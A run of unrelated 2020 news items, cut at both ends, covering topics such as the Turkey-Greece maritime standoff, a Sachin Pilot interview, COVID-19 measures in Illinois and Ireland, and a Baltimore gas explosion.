wanting to cheat, I really didn't... and then I met Lincoln and we took alcohol out of our lives. 'And I know people will go "yeah we know you don't drink" but it does affect so many areas of your life. Drink and drugs ruin your moral compass... basically you don't have one and I realise that now.' Talking about her new marriage, Denise continued: 'I now have a husband I trust 100%. It would kill me if I even saw any text messages. 'I can still appreciate people's attractiveness but I have found a man I love and he does me and I am a completely different person now.' New love: Tim married second wife Joan Anderton in 2015, he proposed during a romantic getaway to Turkey in 2014 (pictured in 2019) Denise has been candidly discussing her depression battle and former drinking on Loose Women over the last few weeks. The star has been promoting her new book, The Unwelcome Visitor: Depression and How I Survive It. Yet despite Tim's fury, the former spouses have a good friendship and they even spent Christmas together. In January, Denise revealed she had spent the festive season with her current husband Lincoln and ex-husband Tim. The panellist explained that her youngest son Louis, 19, was also with them for the festive season, while her eldest son Matt, 31, was in LA. Three wise men: In January, Denise revealed she had spent the festive season with her current husband Lincoln and ex-husband Tim, they were also joined by son Louis 'I had a lovely Christmas with the three wise men. Yeh, so we had the blended family: Me hubby, me ex-hubby and one of me sons. The other son was in LA. They were the chef and the commis chef in the kitchen.' Denise's first marriage was to actor David Easter, 60, from 1983 until their divorce in 1988. The presenter shares both of her sons, actor Louis and The 1975 frontman Matt, with ex Tim, whom she was married to from 19882012. Denise and Lincoln tied the knot in July 2013 in Portugal, after becoming engaged in August 2012. While Tim married Joan in 2015, he proposed during a romantic getaway to Turkey in 2014. ISTANBUL A cycle of escalation is in full swing in the eastern Mediterranean, where a Turkish seismic research ship escorted by Turkish naval vessels entered waters contested by Greece on Aug. 10. The ship, Oruc Reis, arrived to conduct energy exploration activities south of the Greek island of Kastellorizo until Aug. 23, sparking tensions with officials in Athens who claim the region is part of Greeces continental shelf. Greek Foreign Minister Nikos Dendias called on Turkey Aug. 11 to leave the area immediately, stating there would be no tolerance for the actions. But his Turkish counterpart, Mevlut Cavusoglu, doubled down on Ankaras stance, saying new gas exploration and drilling licenses would be issued for the region this month. Our determination is unfaltering here, Cavusoglu told reporters at a press conference in Azerbaijan Aug. 11. We will not compromise in any way from this. The developments come after informal talks over maritime delimitations broke down last week between Athens and Ankara after Greek officials signed an agreement with Egyptian counterparts Aug. 6 demarcating shared boundaries in the eastern Mediterranean. The Greece-Egypt agreement contradicts previous territorial claims outlined in a November memorandum between Ankara and Tripolis Government of National Accord in Libya. Now the crisscrossing claims have materialized in a potentially dangerous standoff between Turkey and Greece, as both nations navies are on high alert in the region. Greece demonstrated that she is not sincere and honest about dialogue with a pirated agreement concluded with Egypt on Aug. 6, Turkey's Foreign Ministry said in a statement Aug. 10. Through this agreement, the continental shelves of both Turkey and Libya in the eastern Mediterranean have been violated. Comparing the overlapping claims in the eastern Mediterranean to a Venn diagram of sorts, Michael Tanchum, a senior fellow at the Austrian Institute for European and Security Policy, said international mediation would be necessary to de-escalate tensions and bring both Turkish and Greek officials back to the negotiating table to sort out border disagreements. "What we have now is probably the highest risk situation for miscalculation or accidents that weve had in recent years, Tanchum told Al-Monitor. The core of the dispute centers on Greeces many islands, which Athens officials claim afford the nation sovereign rights over large tracts of the Mediterranean, including areas where islands such as Kastellorizo sit only a few kilometers from Turkeys coast. Ankara officials have long disputed such claims, instead proposing Turkeys continental shelf should take precedence in delineating maritime boundaries, diminishing some of the territories currently held by Greeces easternmost islands under the UN Convention of the Law of the Sea, to which Turkey is not a signatory. A lot of what has been claimed as legality is political symbolism and setting of geopolitical markers, Tanchum said. He added, A real dialogue would need to look at the actual topography, the line drawing but to achieve that kind of pragmatic dialogue would require a third party with diplomatic skill, vision and the resources to commit to keeping the parties together for serious negotiations. Informal negotiations were underway in July following a prior escalation between Turkey and Greece. Prompted by a July 22 phone call between German Chancellor Angela Merkel and her Turkish counterpart, Recep Tayyip Erdogan, last months tensions subsided as Turkey and Athens pursued bilateral talks, but efforts were shelved on Aug. 6 with the Greece-Egypt agreement. In response to the current escalation, Dendias asked Tuesday for an extraordinary EU Foreign Affairs Council meeting following talks with US Ambassador to Greece Geoffrey Pyatt earlier in the day. European Commission Foreign Affairs Spokesperson Peter Stano said the latest developments were extremely worrying Tuesday, calling on both sides to once again engage in diplomacy. What comes next remains to be seen after previous talks faltered. Saban Kardas, an associate professor of international relations at TOBB University of Economics and Technology in Ankara, said in light of Turkeys recent Syrian and Libyan interventions, Ankara officials have increasingly used militarized diplomacy to achieve their goals and the approach now instructs developments in the eastern Mediterranean. The more you use armed forces, the more you get used to it, Kardas told Al-Monitor, saying Turkey was pursuing coercive diplomacy with Greece. He added, On the downside, it also reflects a difficulty in using other diplomatic instruments especially in terms of coalition building. The more you rely on military assets, the more you cant mobilize soft power. In a speech Monday, Erdogan maintained he was ready to resolve conflict through dialogue on an equitable basis, but that Turkey would continue to pursue gas exploration activities in the eastern Mediterranean until common sense prevails on the issue. Some have questioned the technical feasibility for the Oruc Reis vessel to conduct seismic research in the presence of a Turkish naval fleet whose ships could impact sensor data. Yet analysts tracking developments say ongoing activities are designed to draw Greek officials back into negotiations with Ankara. What we are likely to see is some actions of escalation on both sides to essentially defend their own positions, Sinan Ulgen, chairman of the Istanbul-based think tank Center for Economic and Foreign Policy Studies, told Al-Monitor. But after a few days of escalation and a lot of political rhetoric, well go back to where we were before to the possibility of renewed negotiations. Turkish officials have claimed gas exploration activities are in part to defend Turkeys maritime claims articulated in the Blue Homeland doctrine, or Mavi Vatan, which sets an ideological framework where Turkey should have greater control of regional waters. Though Cavusoglu also said Tuesday that the actions were taken to defend the resource rights of both Turkey and Turkish Cypriots, who have been in stalled talks with officials in the Republic of Cyprus over gas development projects south of the island. While such rhetoric likely boosts domestic support for Ankaras eastern Mediterranean policies, Ulgen said the hard power tactics could complicate future negotiations and restrict the menu of face-saving measures available to officials in Ankara and Athens. The risk is Turkey becoming hostage to its own rhetoric and not being able to budge in the negotiations, Ulgen said. If theres going to be a solution to the [eastern Mediterranean issue], both Greece and Turkey will have to concede in their original maximalist positions. Still, Tanchum cited shared economic and transportation interests between the neighboring states as a likely incentive for both sides to de-escalate tensions in the near future. Eighty-seven percent of Turkeys trade passes through its maritime ports, and most of that trade passes through the eastern Mediterranean, Tanchum said. On the other hand, Greece has the largest commercial fleet in the world so both countries have a strong incentive for a peaceful stable maritime domain in the eastern Mediterranean. New York, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Chronic Care Management Solution Market Research Report by Service, by Component, by Platform, by End-user - Global Forecast to 2025 - Cumulative Impact of COVID-19" - https://www.reportlinker.com/p05913828/?utm_source=GNW The Global Chronic Care Management Solution Market is expected to grow from USD 8,109.60 Million in 2019 to USD 19,062.09 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 15.30%. Market Segmentation & Coverage: This research report categorizes the Chronic Care Management Solution to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Service, the Chronic Care Management Solution Market studied across Consulting Service, Educational Implementation Service, and Implementation Service. Based on Component, the Chronic Care Management Solution Market studied across Software and Solution. Based on Platform, the Chronic Care Management Solution Market studied across Cloud-based and On-premise. Based on End-user, the Chronic Care Management Solution Market studied across Healthcare Providers and Payers. Based on Geography, the Chronic Care Management Solution Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Chronic Care Management Solution Market including Chronic Care Management, Inc., Cognizant Technology Solutions Corporation, EXL Service Holdings, Inc., Infosys Limited, Koninklijke Philips N.V., NextGen Healthcare, Inc., Pegasystems Inc., ScienceSoft USA Corporation, Siemens Healthcare Private Limited, and Vivify Health, Inc.. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Chronic Care Management Solution Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Chronic Care Management Solution Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Chronic Care Management Solution Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Chronic Care Management Solution Market? 4. What is the competitive strategic window for opportunities in the Global Chronic Care Management Solution Market? 5. What are the technology trends and regulatory frameworks in the Global Chronic Care Management Solution Market? 6. What are the modes and strategic moves considered suitable for entering the Global Chronic Care Management Solution Market? Read the full report: https://www.reportlinker.com/p05913828/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ More than 30 COVID-19 cases at Jacksonville Correctional Center were reported Monday. Morgan County Health Department reported 25 cases among inmates at the Illinois Department of Correction Jacksonville facility, while the Illinois Department of Public Health reported nine staff cases. IDPH is working with Illinois Department of Corrections to provide infection control guidance and offer technical assistance, said Melaney Arnold, spokeswoman for the Illinois Department of Public Health. The facility houses inmates from the Department of Corrections; this is the first outbreak on record for the facility. Lindsey Hess, a spokeswoman for the Illinois Department of Corrections, said Jacksonville Correctional Center has activated its Incident Command Center to help deal with the COVID-19 outbreak. Using FEMAs National Incident Command System model, the facility is setting and achieving aggressive objectives to respond to COVID-19, Hess said. Currently, those who have tested positive are being quarantined, either at home or within the facility. If an offender develops any symptoms suggestive of COVID-19, they are assumed to be at high risk for the disease, and pursuant to CDC and IDPH guidelines, these individuals are isolated and tested, Hess said. To manage outbreaks, the department utilizes point prevalence testing in asymptomatic and potentially exposed offenders. Additionally, exposed asymptomatic offenders are quarantined and monitored for symptoms. In addition to precautions among the inmate population, Hess said they are taking extra precautions among staff members as well, including screenings with temperature checks. Every staff member also is required to wear personal protective equipment while at work. Each facility has an appointed safety officer whose responsibility is quality assurance of proper PPE use, deep cleaning routines, temperature checks and screening measures, Hess said. The Department of Corrections has a tracker on its website that monitors the number of staff and inmates who have tested positive for the virus, as well as the number who have recovered. As of Monday, the departments tracker reported that one of its staff members has recovered, but it was only reporting two inmates who had tested positive. Our practices are modified based on new information and technology, Hess said. We continue to review the latest scientific evidence and remain in close contact with correctional agencies across the nation to identify best practices to mitigate the spread of COVID-19 in correctional facilities. NEW YORK, Aug. 11, 2020 /PRNewswire/ -- Morgan James' new release, How's the Culture in Your Kingdom?: Lessons from a Disney Leadership Journey by Dan Cockerell, provides a glimpse into different management styles and work environments from a professional who spent almost three decades learning to create magic at one of the most admired companies in the world. Morgan James How's the Culture in Your Kingdom? gives priceless advice and experience on what it takes to manage people in any situation. For any business or organization to work properly, there needs to be a solid foundation of clarity and values at its core. Dan Cockerell models these characteristics, offering invaluable insight and tools for the ever-changing landscape of business in How's the Culture in Your Kingdom? Dan Cockerell shares true stories and lessons he's learned from his years of work experience with Disney. He illustrates how his career started from a job as a parking attendant to accepting a position as Vice President of Disney Magic Kingdom. Cockerell wants to show the next generation of leaders how to build the right culture by leading themselves first so that they can lead their teams and enact change effectively. In How's the Culture in Your Kingdom?, Dan Cockerell teaches business professionals and entrepreneurs how to understand their purpose and blend confidence with humility in order to become the ultimate leader. With the advice he provides in How's the Culture in Your Kingdom?, leaders and entrepreneurs alike will be able to confront future business challenges with a little bit of magic. For more information about this topic or to schedule an interview with Dan Cockerell, please call Nickcole Watkins at 516.900.5674. About the Author: Dan Cockerell spent 26 years at the Walt Disney Company, starting his career as a parking attendant and, 26 years later, a Vice President leading 12,000 cast members at the largest theme park in the world, the Magic Kingdom Park. Dan has had 19 different roles with the Disney Company including five years internationally at Disneyland Paris Resort. He was also a guest speaker for the world-renowned Disney Institute for 18 years. He left the Walt Disney Company in May 2018 to start his own consulting company, sharing his leadership and management experience with companies around the world. More About This Title: How's the Culture in Your Kingdom?: Lessons from a Disney Leadership Journey by Dan Cockerell will be released by Morgan James Publishing on Aug. 11, 2020. How's the Culture in Your Kingdom? ISBN 9781642798449 has 220 pages and is being sold as a trade paperback for $17.95. About Morgan James Publishing: Morgan James publishes trade quality titles designed to educate, encourage, inspire, or entertain readers with current, consistent, relevant topics that are available everywhere books are sold. www.MorganJamesPublishing.com MEDIA CONTACT: Nickcole Watkins Morgan James Publishing 516.900.5674 [email protected] Related Images hows-the-culture-in-your-kingdom.jpg How's the Culture in Your Kingdom? SOURCE Morgan James Related Links http://www.morganjamespublishing.com MOUNT PLEASANT, MI A Mount Pleasant man made a three-state drive after being stabbed by his girlfriend, police allege. In the early morning hours of Thursday, Aug. 6, Michigan State Police troopers from the Mount Pleasant Post responded to a stolen vehicle complaint at a residence in Isabella Countys Coe Township. The woman who had made the complaint told troopers she had been assaulted by her 43-year-old boyfriend, who then stole her vehicle. Troopers tried locating the male suspect and vehicle at several local locations. During their investigation, troopers said the woman was accused of stabbing her boyfriend in his back before he drove away in her vehicle. Police in Elizabethtown, Kentucky, eventually found the man at Hardin Memorial Hospital in the Bluegrass State. The man had driven to Kentucky after the life-threatening stab wound he received, troopers report. Coe Township to Elizabethtown is about a 468-mile drive. The man has relatives in Kentucky, troopers said. Police recovered the stolen vehicle in a Wendys parking lot located across the street from the hospital. Police on Friday, Aug. 7, arrested the woman who had made the initial complaint on a charge of felonious assault. The investigation remains ongoing. Read more: 44 dogs seized from two Saginaw County homes in animal abuse investigation Genesee Township sees rash of drug overdoses, including 2 deaths Vassar motorcyclist hospitalized after crash in Tuscola County Beirut, Aug 12 : More foreign donations arrived in Lebanon after last week's huge explosions that rocked the capital Beirut, the National News Agency reported. Two aircraft arrived in Beirut from Czechia, carrying medical equipment and special beds to be used in the emergency rooms of hospitals in the Lebanese capital, Xinhua news agency reported on Tuesday. Tunisian Labour Federation sent a military plane carrying 16 tons of medicines and food products for Lebanon. Meanwhile, Kuwait sent two military aircraft with several tons of food and medical products as part of the daily products sent to Lebanon. An aircraft arrived from Spain handed to the Lebanese army a donation of six tons of flour. Lebanon has in the past days received donations from countries including China, Russia, France, Qatar, Egypt, Jordan, Bahrain, Britain and many more. Two huge explosions rocked Port of Beirut on August 4 at around 6.10 p.m. local time (1510 GMT), shaking buildings all over the capital city. The Beirut governor has said the losses resulting from the explosions range between US $10 and $15 billion. President Trump Signs Executive Order View Photo Sacramento, CA Governor Gavin Newsom says President Donald Trumps plan to give an extra $400 a month to those on unemployment is unrealistic because the state would be required to cover 25-percent of the costs. Newsom says it would cost the state $700-million a week and put a hole in the states budget. Newsom adds, There is no money sitting in the piggybank of the previous CARES Act to be reprioritized or reconstituted for this purpose. Since mid-March, over 8-million Californians have applied for unemployment insurance. Californias Employment Development Department has been backlogged and recently announced that nearly 1 million unpaid claims may be eligible for payment but are held up do to problems needing to be resolved. President Trump signed an Executive Order over the weekend extending unemployment benefits, and requiring states to pitch in revenue, after Congressional negotiations collapsed. 13:22 (ist) CHSE Odisha 12th Science Result 2020 LATEST Updates Check results on official and alternative websites, via SMS The Odisha Class 12 science results were declared, ending the wait of almost 1 lakh students. Students can check the scores on orrisaresults.nic.in Additionally, following sites are also hosting the results: examresults.net indiaresults.com schools9.com results.shiksha Students can also check their Class 12 Science results by sending the message 'RESULTOR12ROLL NUMBER' to 56263. Underlining that his rebellion was never anti-party but merely a means to articulate the happenings in the state, former Rajasthan deputy chief minister Sachin Pilot said he has no animosity or ill will against state chief minister Ashok Gehlot. On being asked how he would respond to the nikamma jibe by the CM, the young leader merely laughed it off at first. Then added that he was deeply hurt by some of the language used against me. Asked how would he greet the CM given the bitterness when he meets him on 14th, Pilot said he has nothing but kind words to offer. In a wide-ranging interview with HTs Sunetra Choudhury, a day after a peace deal was struck with the party high command that promised to look into all his grievances, Sachin Pilot revealed the role played by party general secretary Priyanka Gandhi. Here are the edited excerpts from the interview: Q. What have the last 30 days been like for you? About 3-4 weeks ago, I was served a notice under sedition charges. As deputy chief minister and party president, I felt it was unwarranted. A lot of us were deeply hurt by that and a few of our colleagues wanted to come to Delhi to tell the party organisation not just about the one issue, but also about many things we had been contemplating for long. Once that started, a lot of other developments happened, but I think ultimately the objective of the exercise we did was to bring the grassroots feedback to the leadership. We were well within our rights to raise the issue within the party forum and from day one we said that we were raising the issue as Congressmen, as legislators. I dont think anything we did was at all anti-party. Q. You say it wasnt anti-party but a lot of Congress leaders who were supporting you later said that you could have done it without going incommunicado with 18MLAs. The minute we came to Delhi to air our views, the next day itself a lot of acrimonious action started in Jaipur, a lot of FIRs, police cases. A lot of our colleagues felt they would be at the end of a lot of coercive action by the police and the administration. I want to place on record that we were here in Delhi, wanting to place our views and wanting to be heard. I think the reactions that came out from Jaipur and the actions that followed, it didnt give any confidence to the legislators that we are moving in the right direction. As far as the opposition party is concerned, trying to take advantage of what is going on, they have done some politics. We had made ourselves very clear from the beginning that there was no question of leaving the party or joining any other party. I know there was a lot of speculation and stories. I came here as deputy CM and the party thought it right to remove me from this position, which is fine. Because the CM can choose his cabinet. But I wasnt even critical of the government, but the working style, the functioning, the governance style of the chief minister - which needed altering as we have elections three years later. Q. Lets go back to the sequence of events on July 10. You came to alert the party and the events overtook what happened. Couldnt you have spoken to the Gandhis then like you did yesterday? There are people in different hierarchies responsible for the communication within the party leadership in Delhi and Rajasthan. Those channels didnt work out very well as we all know in hindsight. Because the actions were being taken very quickly in Jaipur, between the notices and court cases and suspensions, it just came to pass that we had to do what we had to do. Because if we didnt fight and stand up for what we believed in, we wouldnt be here today. I think at the right time everyone decided to talk and Im very happy that the Congress president has now assured all of us that a time-bound roadmap is being evolved to redress all the issues that were raised. Q. So when you were incommunicado, what was the objective in your head? First of all, all of us were here in Delhi and were never incommunicado, we were talking to people, we were moving around. I met a lot of colleagues and it was not as if anyone was bound anywhere. But yes, some of my colleagues felt apprehensive of the police. Thats why all this lockjam came about. The kinds of things that were said while we were here making our grievances heard, it wasnt charitable, to say the least. Q. When your former boss was saying that you are nothing but a good looking face, that your qualifications were just that you spoke English and otherwise you were nikamma, nakkara, at that time did you think of an option? That maybe you need to look at another party? No, no, not for a moment. But I have to admit when I heard some of the language used against me, it did deeply hurt me. I felt I was wronged and aggrieved and then to hear the things that I heard. To say the least, it wasnt charitable. And was unparliamentary, of course. But two wrongs dont make a right, Im not going to retort in the same tone and tenor. Its unbecoming of people in public life to take the level of discourse to a point where people think its unbecoming. I chose not to respond. Theres no place for name-calling, it has to be issue based. Even the harshest critic wouldnt have used some of the language that was used. I swallowed that bitter pill and it was the best thing to do at the time. Q. But they say that they have evidence that the BJP was in touch with you. What would you say about that? I have heard this for a long time but its very easy to make allegations. Our actions, our words are commitment are unwavering but it suits some peoples objectives to plant stories, to see a narrative where none exists. Q. But throughout this time the Congress said that their door was open so what made you talk to them on Monday and not before? How is it possible? I know that everyone was saying but actions were totally opposite. That doesnt seem to be in harmony. A lot of our colleagues who were ministers were now police suspects. Those actions were also a major aspect of what went on in the past few weeks. Q. Would you care to share the role Priyanka Gandhi Vadra played in the entire episode, she was in touch with you throughout? She did come last night when all the MLAs were there and she had a long detailed discussion with every single one of them. We appreciated her taking time out and as a general secretary of the party, shes played a role. I met Rahulji and Priyanka Gandhi yesterday in Mr Gandhis house and as then party president, it was Rahul Gandhi who said to me that I should work as deputy CM as we left the choice of CM to the party president. He chose Mr Gehlot as chief minister and he did lean on me to become as deputy and continue as party president. But in the last 18 months what has transpired, it was important to say those things. I had to share, because it was important for the party to know. Sadly, it went on for too long. Q. Can you elaborate what went on? I dont think I should in the media. Whatever I had to say, I told the party leadership and theyve formed a committee. That committee will take a decision in a time-bound fashion on our grievances - broadly governance, leadership issues, participation, space to workers and MLAs. Q. The CM said in the 18 months since the Rajasthan government was formed, hes never spoken with you. Is that true? I didnt say that, the CM has said that. But it gives you an insight of what was happening there. When I was party president for five years, I didnt seem to have those disqualifications and negativities attached to me. Just in the 18 months, they have come to the fore. Bringing a party back to power when we were 21 MLAs and elections were lost when Ashokji was CM. At that time, Rahul Gandhiji asked me to be deputy CM and he showed faith in me. Even though I was younger than the other leaders, it was my responsibility to take everyone along. There were differences even then but as head of the family, I left no stone unturned to carry everyone under one umbrella. I think the same course for the head of the government. If someone has a grievance, you have to resolve that. You cant sort of do the things that have happened in the recent past. When he says we havent spoken, it sums it up for you but I have never shown any disrespect to CM Ashok Gehlot. He is much older than I am in age and I have regards for him as a person. But I am well within my rights to point out things in terms of governance. Q. But for those who say it was CM Gehlot who held the numbers and Sachin Pilot couldnt get the numbers together? It was never a competition about whos got more. Whoever the party makes CM, will have the majority. The number of MLAs and leaders who had things to say were depending on me to be their voice. I did that. Ashok Gehlot was made CM by the party and I accepted that decision when I became deputy CM. But the events of that 18 months carry some meaning and thats what I wanted to convey. Q. Was it too much of a price that you paid? Thirty days later, you are no longer the deputy CM or PCC chief? Do you regret it? If you are taking a position just to have a house and a car, I dont think its worth anyones time as a political person. You are there to do a job, to do governance, to deliver development, and if you dont have the space and the resources and the authority to do that, then mere positions dont matter. I have said that whatever the party wants me to do, I am happy to do it, I have done it for more than 20 years and leadership can decide what my role can or cannot be. Q. What will you tell the CM when you meet him on the 14th? I have nothing but kind words to offer to him and warmth at a personal level. Professionally, our objectives should remain the same which is to deliver to the expectations of the people of Rajasthan. I have no animosity, no ill-will, no negative sentiment towards him. The Government has begun drawing up a fresh plan to chart the country through coronavirus challenges into next year. Taoiseach Micheal Martin outlined the intent of the plan as he confirmed that meat plants and direct provision centres nationwide will now be subject to weekly Covid-19 testing. An upsurge in cases that triggered localised restrictions in Kildare, Offaly and Laois have been linked to outbreaks among staff at meat processing sites and people living in direct provision accommodation. The new coronavirus plan will outline how the state will respond to further localised spikes or a second wave of Covid-19. Expand Close Gardai at a Covid-19 compliance checkpoint in Co Offaly (Niall Carson/PA) / Facebook Twitter Email Whatsapp Gardai at a Covid-19 compliance checkpoint in Co Offaly (Niall Carson/PA) It will succeed the current road map to recovery that has plotted Irelands path out of lockdown in several phases. The medium-term plan, which will cover the next six to nine months, was discussed at a meeting of the Cabinet sub-committee on Covid-19 on Tuesday. The ministers were briefed on the latest health and scientific data on the pandemic by acting chief medical officer Dr Ronan Glynn. Afterwards Mr Martin, who chairs the committee, said while the number of new cases was up across the country, the incidences of community transmission remained stable. Mr Martin said there would be a systematic programme of testing rolled out in meat plants and direct provision centres. He said the tests would initially be conducted on a weekly basis, moving to fortnightly. That was particularly successful with nursing homes and that will continue with nursing homes on a regular basis as well, he said. The Taoiseach told RTE that the HSEs testing and contact tracing capacity was strong. Expand Close A Covid-19 testing facility in Tullamore, Co Offaly (Niall Carson/PA) / Facebook Twitter Email Whatsapp A Covid-19 testing facility in Tullamore, Co Offaly (Niall Carson/PA) On the new plan, Mr Martin added: Weve opened up to a considerable degree our economy and our society, obviously like other countries there has been an increase in numbers, so weve got to look through and plan ahead in terms of potential scenarios that may emerge but also how we can maintain that level of economic activity over the next six months whilst protecting people and whilst keeping the community transmission low. Thats the ongoing challenge now in relation to Covid-19, and as different events unfold there will be different types of responses. Localised restrictions in Kildare, Laois and Offaly were announced on Friday and are in place for at least two weeks. Residents are only allowed to travel outside their counties in limited circumstances, while restaurants and pubs serving food have been closed. Local representatives in Laois have urged the Government to lift the restrictions in their county, insisting case numbers are not as high as the other two impacted counties. On Tuesday, the National Public Health Emergency Team said one new Covid-19 related death had been reported. An additional 35 cases of the disease were confirmed, bringing the overall tally to 26,801. Trinidad and Tobago's Prime Minister Keith Rowley speaks during an agreement-signing ceremony between Trinidad and Tobago and PDVSA in Caracas By Linda Hutchinson-Jafar PORT OF SPAIN (Reuters) - Trinidad and Tobago Prime Minister Keith Rowley claimed victory for his ruling party in a general election on Monday, appearing to secure a second term despite concern over the coronavirus, migration and recession in the energy-rich Caribbean country. Preliminary results showed the ruling People's National Movement (PNM) won 22 of the 41 electoral seats, while the opposition United National Congress (UNC) led by former prime minister Kamla Persad-Bissessar won 19 seats. Official results are expected on Tuesday. "In a most difficult situation, we have once again been called to the service of the people of Trinidad and Tobago," Rowley told reporters late on Monday. The election campaign in the twin island nation of 1.3 million people was overshadowed by the novel coronavirus pandemic, with traditional, colorful political rallies replaced by streamed rallies and noisy motorcades. Trinidad and Tobago, which has been officially closed to travel since March, has registered a relatively low total of 280 cases of the virus and 8 deaths - a fact the ruling PNM heralded as testament to its successful handling of the outbreak. Yet, like in many countries worldwide, the number of cases has jumped again since it started easing initial lockdown measures. It currently has 134 active cases. Moreover, the opposition UNC has criticized Rowley's government for requiring nationals who did not return to the country before the border closure to obtain exemptions to travel home. The party also accused the government of not protecting borders and allowing thousands of Venezuelans, fleeing their country's economic collapse, to enter illegally. Trinidad and Tobago's own economy has not fared well of late, contracting seven out of the last 10 years largely due to lower energy prices. The ruling party has said it will continue to seek to diversify the economy by boosting exports of energy services, digitalising services to improve ease of business and providing support to the private sector. (Reporting by Linda Hutchinson-Jafar in Port of Spain; Writing by Sarah Marsh; Editing by Robert Birsel) The cause of the gas explosion that levelled three homes has not been determined, but two people are confirmed dead. Two people are now confirmed dead following a natural gas explosion that destroyed three row houses in the eastern United States city of Baltimore and sent seven people to the hospital, authorities said Tuesday. Baltimore Fire Department spokeswoman Blair Adams said Tuesday morning that a man was pulled from the debris shortly before 1am (05:00 GMT). A woman had been pronounced dead at the scene shortly after Monday mornings explosion. Seven others were hospitalised, five in critical condition, Adams said. The conditions of the other two were still being determined, she said. More than 200 people in the neighbourhood were affected by the blast, and about 30 have been in temporary shelters since the explosion, Adams said. The natural gas explosion Monday morning levelled three row houses and ripped open a fourth, trapping people in the debris and scattering shards of glass and other rubble over the northwest Baltimore neighbourhood of Reisterstown Station. Dozens of firefighters converged on the scene to free the injured. ANOTHER SURVIVOR RESCUED Adult female just dug out of the rubble by multi-jurisdictional operation. #BCFDEMS transporting her to hospital in serious cond. There are still reports of people unaccounted for. Search and rescue operations continue. @wjz (we dont have a ) pic.twitter.com/FWb7pOwj6i Baltimore Firefighters IAFF Local 734 (@BCFDL734) August 10, 2020 Its a disaster. Its a mess. Its unbelievable, Diane Glover, who lives across the street, told the Associated Press. Her windows where shattered and her front door was blown open. Im still shaken up, she said hours later. The exact cause remains unknown, and the Baltimore Gas and Electric Company (BGE) appealed for patience as it investigates. No gas odours were reported before the explosion, and BGE did not receive any calls about recent gas odours from the block of homes that was damaged, the utility said in a statement late Monday. BGE also said it last inspected the areas gas mains and services in June and July of 2019 and no leaks were found. The utility statement said it is committed to fully understanding the cause of this incident and will inspect all BGE equipment once rescue efforts are complete. This is an active investigation and we cannot speculate on the possible causes. The Baltimore Sun reported last year that dangerous gas leaks in the city have become much more frequent, with nearly two dozen discovered each day on average, according to the utilitys reports to federal authorities. BGE has said it has thousands of miles of obsolete pipes that need to be replaced, an effort that would cost nearly $1bn and take two decades, the newspaper said. A woman stands in front of a pile of debris after an explosion that firefighters say has levelled several homes in the city [Julio Cortez/AP Photo] Glover, 56, and her 77-year-old father, Moses Glover, were at home when the explosion shook their house, knocking over a fan and some of her DVDs. It sounded like a bomb went off, she said. Dean Jones, 36, who lives nearby, ran to the scene. He said he saw a mess of bricks, glass and cinder blocks and also a box of pancakes. You could tell this was a house that people lived in, he said. Jones said he and others began calling out for survivors and located an older woman who was eventually pulled out by firefighters. Kevin Matthews, who lives on the block, told The Sun that he could hear trapped children shouting: Come get us! Were stuck! Barry Leventhal, whose warehouse equipment business is near the blast site, said the explosion shook his building, damaging lights and a concrete wall. Fortunately, none of the companys 10 employees were injured. We thought a plane crashed or something, said Leventhal. BGE asked the Maryland Public Service Commission (PSC) to approve a new gas system infrastructure and a cost recovery mechanism in late 2017 to pay for upgrades. Founded in 1816, BGE is the oldest gas distribution company in the nation. Like many older gas systems, a larger portion of its gas main and services infrastructure consists of cast iron and bare steel materials that are obsolete and susceptible to failure with age, the PSC wrote in a 2018 order approving a modernisation plan. This areas gas infrastructure was installed in the early 1960s. When aging pipes fail, they tend to make headlines. Last year, a gas explosion ripped the facade off an office complex in Columbia, Maryland near Baltimore, affecting more than 20 businesses. No one was injured in the explosion early on a Sunday morning. In 2016, a gas main break forced the evacuation of the Baltimore County Circuit Courthouse. Under Armour Inc had to evacuate its Baltimore office after a gas main break in 2012. Baltimore City Council President Brandon Scott said he needs the entire city of Baltimore right now to focus on hopeful prayers for those individuals that have been impacted by this. I want everybody in the city really to rally around those individuals that are still fighting for their lives, Scott said at a news conference. In the wake of calls to address racism and police brutality, some black and Latino lawmakers in New York and New Jersey are urging their colleagues to pump the brakes on proposals to slash police department budgets. City councilwoman Vanessa Gibson, a 